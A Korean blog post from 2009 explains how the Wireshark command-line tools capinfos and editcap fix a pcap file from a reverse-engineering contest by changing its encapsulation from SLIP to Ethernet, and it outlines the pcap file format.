삽질의 세계로 여러분을 안내해드릴 수 있다면야...ㅎㅎ



Posted by demantos
0x04 reference&tools2009. 9. 23. 12:21

어제 직원이 가져온 "해킹과 보안" 책을 봤습니다.
SecurityProof에서 만든 잡지인데 POC2008 Reverse Engineering Contest 우승팀 분석 보고서가 있더군요..
문제에 사용되었던 파일은 http://www.powerofcommunity.net/recon.zip 에서 다운로드 가능합니다.

첫번째 나오는 내용이 pcap 파일을 분석하는 내용인데 pcap 파일 포맷과 타입에 대해서 알고 있어야 풀이가 가능한 문제더군요..
그래서 간단히 공부한 내용 정리해서 올려봅니다.


Wireshark

아마 현재 가장 많이 사용하는 패킷 캡쳐툴은 Wireshark가 아닌가 생각됩니다.
물론 아직도 Ethereal을 고집하시는 분들도 계시지만 Wireshark랑 기능이나 GUI나 다 똑같으니...

공부하던 중 Wireshark 설치시 같이 설치되는 CLI 명령 중 잘 사용하면 좋을 것 같은 명령이 있었습니다.
(저만 모르고 있었던건 아니겠죠...-_-;;)


capinfos.exe

pcap 파일의 정보를 보여줍니다.

PS C:\Program Files\Wireshark> .\capinfos.exe E:\wargame\POC_RE_Contest\Network\analysis_1.cap
File name: E:\wargame\POC_RE_Contest\Network\analysis_1.cap
File type: Wireshark/tcpdump/... - libpcap
File encapsulation: SLIP
Number of packets: 914
File size: 269172 bytes
Data size: 255896 bytes
Capture duration: 133057646.198371 seconds
Start time: Fri Apr 16 17:03:30 2004
End time: Fri Jul 04 17:30:56 2008
Data rate: 0.00 bytes/s
Data rate: 0.02 bits/s
Average packet size: 279.97 bytes

파일 타입은 libpcap이고 파일은 SLIP형태로 캡슐화되어 있다는 것을 알 수 있습니다.



editcap.exe

pcap 파일 포캣을 수정하거나 변경합니다.

PS C:\Program Files\Wireshark> .\editcap.exe E:\wargame\POC_RE_Contest\Network\analysis_1.cap -F libpcap -T etherE:\wargame\POC_RE_Contest\Network\analysis_1_ether.cap

파일 타입을 libpcap으로 변경하고 캡슐화 방식을 ethernet으로 변경하라는 명령입니다.



-T 옵션을 쓰고 캡슐화 타입을 쓰지 않으시면 전체 캡슐화 타입을 확인하실 수 있고 -F 옵션을 쓰고 캡쳐 타입을 쓰지 않으시면 전체 캡쳐 타입을 확인하실 수 있습니다.

ethernet 캡슐화 타입은 우리가 일반적으로 알고 있는 ethernet상에서의 패킷을 의미하고 SLIP는 Serial Line Internet Protocol로 일반 가정PC에 모뎀을 달아서 통신하게 되는데 이 때 전화국 서버와 PC의 시리얼 라인상으로 TCP나 IP 트래픽을 전송하는데 있어서 필요한 프로토콜입니다.

어차피 pcap은 네트워크 통신에 사용된 패킷을 캡쳐한 것인데 어느 구간에서 캡쳐하느냐에 따라서 캡슐화 타입이 다를 것입니다.

문제에서 제시했던 pcap 파일을 까보면 다음과 같이 프로토콜이 UNKNOWN이라고 나오는걸 확인하실 수 있습니다.




이것은 파일 자체에 캡슐화 타입과 실제 캡쳐된 파일의 캡슐화 타입이 다르기 때문인데요 캡슐화 타입을 ethernet으로 바꾸면 정상적인 패킷을 볼 수 있습니다.




capinfos.exe 파일로 pcap 파일의 형태를 파악하고 editcap.exe로 타입을 변경하니 정상적인 패킷을 볼 수 있었습니다.
앞으로 이상한 pcap 파일을 보면 두개의 명령을 통해서 먼저 확인하는 습관을 들여야 겠군요...^^


PCAP file format

위 내용을 보다보니 pcap 파일의 포맷이 궁금해서 찾아봤습니다. 생각보다 단순했었습니다.

Global Header

Packet Header

Packet Data

Packet Header

Packet Data

Packet Header

Packet Data

...






파란색이 Global Header이고 붉은색으로 된 부분이 Packet Header와 Packet Data입니다.
Wireshark에서 볼 때 한줄 한줄의 내용이 붉은색으로 된 Packet Header와 Data가 되는거죠.

좀 자세한 내용은 아래 링크를 참조하시면 되겠습니다.
아래 링크에 나오는 구조체는 wireshark 소스코드에서 wiretap/libpcap.h 파일에서 확인하실 수 있습니다.
소스코드에서 약간 다른부분이라면 magic number를 따로 선언해서 사용하고 있다는 점입니다.(그냥 참고만 하시면 되겠습니다)

http://wiki.wireshark.org/Development/LibpcapFileFormat

http://mindori.egloos.com/2390488





이로써 아주 간단한 pcap file format에 대해서 알아보았습니다.

패킷 분석을 자주하시는 분들께 도움이 되었으면 합니다.






Posted by demantos